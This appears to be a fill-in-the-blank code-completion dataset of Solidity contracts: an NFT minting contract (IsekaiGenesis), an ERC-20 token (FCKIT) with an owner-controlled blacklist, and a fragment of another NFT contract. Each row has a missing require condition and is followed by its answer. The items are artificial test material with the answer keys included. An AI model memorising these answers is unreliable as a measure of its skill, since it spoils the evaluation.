}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public override onlyAllowedOperator(from) {
}
}
| _msgSender()==ownerOf(tokenId)||_msgSender()==owner(),"MonuversePFP: sender not token owner" | 183,201 | _msgSender()==ownerOf(tokenId)||_msgSender()==owner() |
"Ownable: caller is not the owner" | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| owner[msg.sender],"Ownable: caller is not the owner" | 183,271 | owner[msg.sender] |
'whitelistMint is paused!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
require(<FILL_ME>)
require(publicMintCount+1<=maxSupply, 'Max supply exceeded!');
require(whitelistMintCount[msg.sender]+1<=WLOGLimit, 'Address already minted!');
require(msg.value >= wlMintCost, "insufficient funds");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, wlRoot, leaf), 'Invalid proof!');
whitelistMintCount[msg.sender]+=1;
publicMintCount+=1;
_safeMint(msg.sender, 1);
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| !WLpaused,'whitelistMint is paused!' | 183,271 | !WLpaused |
'Max supply exceeded!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
require(!WLpaused, 'whitelistMint is paused!');
require(<FILL_ME>)
require(whitelistMintCount[msg.sender]+1<=WLOGLimit, 'Address already minted!');
require(msg.value >= wlMintCost, "insufficient funds");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, wlRoot, leaf), 'Invalid proof!');
whitelistMintCount[msg.sender]+=1;
publicMintCount+=1;
_safeMint(msg.sender, 1);
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| publicMintCount+1<=maxSupply,'Max supply exceeded!' | 183,271 | publicMintCount+1<=maxSupply |
'Address already minted!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
require(!WLpaused, 'whitelistMint is paused!');
require(publicMintCount+1<=maxSupply, 'Max supply exceeded!');
require(<FILL_ME>)
require(msg.value >= wlMintCost, "insufficient funds");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, wlRoot, leaf), 'Invalid proof!');
whitelistMintCount[msg.sender]+=1;
publicMintCount+=1;
_safeMint(msg.sender, 1);
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| whitelistMintCount[msg.sender]+1<=WLOGLimit,'Address already minted!' | 183,271 | whitelistMintCount[msg.sender]+1<=WLOGLimit |
'Invalid proof!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
require(!WLpaused, 'whitelistMint is paused!');
require(publicMintCount+1<=maxSupply, 'Max supply exceeded!');
require(whitelistMintCount[msg.sender]+1<=WLOGLimit, 'Address already minted!');
require(msg.value >= wlMintCost, "insufficient funds");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
whitelistMintCount[msg.sender]+=1;
publicMintCount+=1;
_safeMint(msg.sender, 1);
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,wlRoot,leaf),'Invalid proof!' | 183,271 | MerkleProof.verify(_merkleProof,wlRoot,leaf) |
'ogMint is paused!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
require(<FILL_ME>)
require(publicMintCount+1<=maxSupply, 'Max supply exceeded!');
require(whitelistMintCount[msg.sender]+1<=WLOGLimit, 'Address already minted!');
require(msg.value >= ogMintCost, "insufficient funds");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(MerkleProof.verify(_merkleProof, ogRoot, leaf), 'Invalid proof!');
whitelistMintCount[msg.sender]+=1;
publicMintCount+=1;
_safeMint(msg.sender, 1);
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| !OGpaused,'ogMint is paused!' | 183,271 | !OGpaused |
'Invalid proof!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
require(!OGpaused, 'ogMint is paused!');
require(publicMintCount+1<=maxSupply, 'Max supply exceeded!');
require(whitelistMintCount[msg.sender]+1<=WLOGLimit, 'Address already minted!');
require(msg.value >= ogMintCost, "insufficient funds");
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
whitelistMintCount[msg.sender]+=1;
publicMintCount+=1;
_safeMint(msg.sender, 1);
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| MerkleProof.verify(_merkleProof,ogRoot,leaf),'Invalid proof!' | 183,271 | MerkleProof.verify(_merkleProof,ogRoot,leaf) |
'Address already minted!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function mint() public payable {
require(!paused, 'mint is paused!');
require(publicMintCount+1<=maxSupply, 'Max supply exceeded!');
require(<FILL_ME>)
require(msg.value >= mintCost, "insufficient funds");
_safeMint(msg.sender, 1);
publicMintCount+=1;
publicAddressMintCount[msg.sender]+=1;
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| publicAddressMintCount[msg.sender]+1<=mintLimit,'Address already minted!' | 183,271 | publicAddressMintCount[msg.sender]+1<=mintLimit |
'owner supply exceeded!' | // Isekai Protocol
pragma solidity >=0.8.9 <0.9.0;
abstract contract Ownable{
mapping (address => bool) public owner;
modifier onlyOwner() {
}
function addowner(address newOwner) public virtual onlyOwner {
}
}
contract IsekaiGenesis is ERC721AQueryable, Ownable {
using Strings for uint256;
bytes32 public ogRoot;
bytes32 public wlRoot;
mapping(address => uint256) public whitelistMintCount;
mapping(address => uint256) public publicAddressMintCount;
string public uriPrefix = '';
string public uriSuffix = '';
string public hiddenMetadataUri = '';
uint256 public mintCost = 0.03 ether;
uint256 public ogMintCost = 0.015 ether;
uint256 public wlMintCost = 0.02 ether;
uint256 public maxSupply = 4855;
uint256 public onwerSupply = 700;
uint256 public publicMintCount = 0;
uint256 public onwerMintCount = 0;
uint256 public mintLimit = 2;
uint256 public WLOGLimit = 2;
bool public OGpaused = true;
bool public WLpaused = true;
bool public paused = true;
bool public revealed = false;
constructor(
string memory _tokenName,
string memory _tokenSymbol
) ERC721A(_tokenName, _tokenSymbol) {
}
function whitelistMint(bytes32[] calldata _merkleProof) public payable {
}
function ogMint(bytes32[] calldata _merkleProof) public payable {
}
function mint() public payable {
}
function ownerMint(address _receiver,uint256 amount) public onlyOwner {
require(<FILL_ME>)
_safeMint(_receiver, amount);
onwerMintCount+=amount;
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setOGPaused(bool _state) public onlyOwner {
}
function setWLPaused(bool _state) public onlyOwner {
}
function setOgRoot(bytes32 _ogRoot) public onlyOwner {
}
function setWlRoot(bytes32 _wlRoot) public onlyOwner {
}
function setMintCost(uint256 _mintCost) public onlyOwner {
}
function setOgMintCost(uint256 _ogMintCost) public onlyOwner {
}
function setWlMintCost(uint256 _wlMintCost) public onlyOwner {
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
}
function setOnwerSupply(uint256 _onwerSupply) public onlyOwner {
}
function setNftAddressLimit(uint256 _mintLimit) public onlyOwner {
}
function setWLOGLimit(uint256 _WLOGLimit) public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function withdraw(address recipient) public onlyOwner {
}
}
| onwerMintCount+amount<=onwerSupply,'owner supply exceeded!' | 183,271 | onwerMintCount+amount<=onwerSupply |
"Lock duration can only be set before deployment" | // SPDX-License-Identifier: MIT
//
// ..
// !57 ^.
// .:?PB&BPP5J: :75!77?777~^:. ..... :: . . .....:^~~!!!~:..
// ~J###&PYPBY ^5B#GPB##BP5J!. .~?5G##BPY: ^?Y5 .::.. ..7. .7PBB#&#&&@&&&G7^.
// :J#GG#! :. J#BJ7~~^^^^::: ^?P&@##BBP5G? .5G#!.:^7YG##5^ ?5G^ .!7?Y#&?^^::::.
// ^Y&&#^ .JBB: :P#B&Y7!!~^:. ?&#GYG#@@#Y~. J@@! ^#@!
// .?#@5: ^P#&P555YYJ~: ^GP#J ?@&&#G5?^. ?@&! ~#@7
// .5& 7GGG5YYYJJ?!. :GG#J. J#&BPGJ^. J&&~ J@#^
// 7#B!#&7 7PGP: ?#&Y~. .?B#GGB&&BJ~. ~B&^ .G#B^
// ^^::Y&#J#&P..JB&P: .5B&5J~ .?#@P.!5GPBBP?. J&#. ~GBB.
// :YB#B&@#P57: :G&G~ :?G&#B5YY5JJ?. :P :^JG&#P^ P#P !PG5
// .^^^5B! 75Y: .^7GBB&###G?^ :JP7^ :!^??. ^JJ^ ^?!.
// :~: .: .^!?J?YY~. !.
//
// $FCKIT ~ https://twitter.com/FCKITCOIN
// Contract developed by @shrimpyuk :^)
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract FCKIT is Ownable, ERC20 {
bool isDeployed = false; //If the contract is deployed
bool public isLimited; //Enabled to deter Token Hoarding + MEV Sniping during our launch. Limits slowly raised then dropped to ensure smooth and fair release.
uint256 public maxHoldAmount; //Maximum Balance to be able to trade in Limited Trading Phase. Used to deter Token Hoarding + MEV Sniping during our launch.
uint256 public minHoldAmount; //Minimum Balance to be able to trade in Limited Trading Phase. Used to deter Token Hoarding + MEV Sniping during our launch.
address public liqudityPoolSwapPair; //Address of our initial Liquidity Pool
mapping(address => bool) public hasFuckedAround; //Blacklisted Address Map. Fuck Around => Find Out
uint256 public constant SUPPLY_CAP = 42_690_000_000 * 1 ether; //42,690,000,000 supply cap
//Important Wallets
address constant cexReserveWallet = 0xCdA13fE7AEa02AD5740E3Fd48913A24b83976C60;
address constant managementWallet = 0x5346ffCc2291A9d555E8B860A263B94338E043be;
// Supply Distribution:
// 10% Team Allocation
uint constant teamAllocation = ((SUPPLY_CAP / 1000)*100); //10%
// 22.5% Liquidity Pool
uint constant liquidityPoolAllocation = ((SUPPLY_CAP / 1000)*225); //22.5%
// 10% Developments Reserve
// Used for CEX Liquidity + Emergency Use
uint constant cexReserveAllocation = ((SUPPLY_CAP / 1000)*250); //25%
// 0.2% Airdrop (Freebies)
uint constant airdropAllocation = ((SUPPLY_CAP / 1000)*2); //0.2%
// 42.3% Presale Allocation
uint constant presaleAllocation = ((SUPPLY_CAP / 1000)*423); //42.3%
// Wallets for locking funds
address[4] public lockedWallets;
uint256[4] public walletAllocations;
uint256 public LOCK_DURATION = 14 days;
// Team Wallets
address constant teamWallet1 = 0xF3bb77973f7F1de2fC99fCAE3AF66b56e5df5114;
address constant teamWallet2 = 0xc4AAeE79cC0a7c5d4EC3F4f8279f31Ba15055e6B;
address constant teamWallet3 = 0x3a1c2AA33BC5522D59cF729e701C31cc4B8F0037;
address constant teamWallet4 = 0xff955eFf3d270D44B39D228F7ECdfe41aD5760B3;
constructor() ERC20("FCKIT", "FCKIT") {
}
// Sets the lock duration of funds. Can only be called internally and once, via the initializer.
function setLockDuration(uint256 duration) internal {
require(<FILL_ME>)
LOCK_DURATION = duration;
}
// @notice Withdraw Team's Allocation after 14 Day Lock
function withdrawLockedFunds() external {
}
/// @notice Blacklist/Unblacklist a Wallet
/// @param _address The Address of the wallet to modify
/// @param _hasFuckedAround If they are blacklisted or not
function foundOut(address _address, bool _hasFuckedAround) external onlyOwner {
}
/// @notice Set temporary trading rules to ensure a smooth launch detering token hoarding + MEV sniping.
/// @param _isLimited If the temporary trading rules should apply
/// @param _tokenSwapPair Address of the Token Swap Pair e.g. Uniswap
/// @param _maxHoldAmount Maximum amount of tokens that can be held to interact with the Liquduity Pool during the limited phase
/// @param _minHoldAmount Minimum amount of tokens that can be held to interact with the Liquduity Pool during the limited phase
function setRules(bool _isLimited, address _tokenSwapPair, uint256 _maxHoldAmount, uint256 _minHoldAmount) external onlyOwner {
}
/// @notice Set them tokens on fire
/// @param value How many tokens to burn
function burn(uint256 value) external {
}
//Enforce Ruleset
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) override internal virtual {
}
}
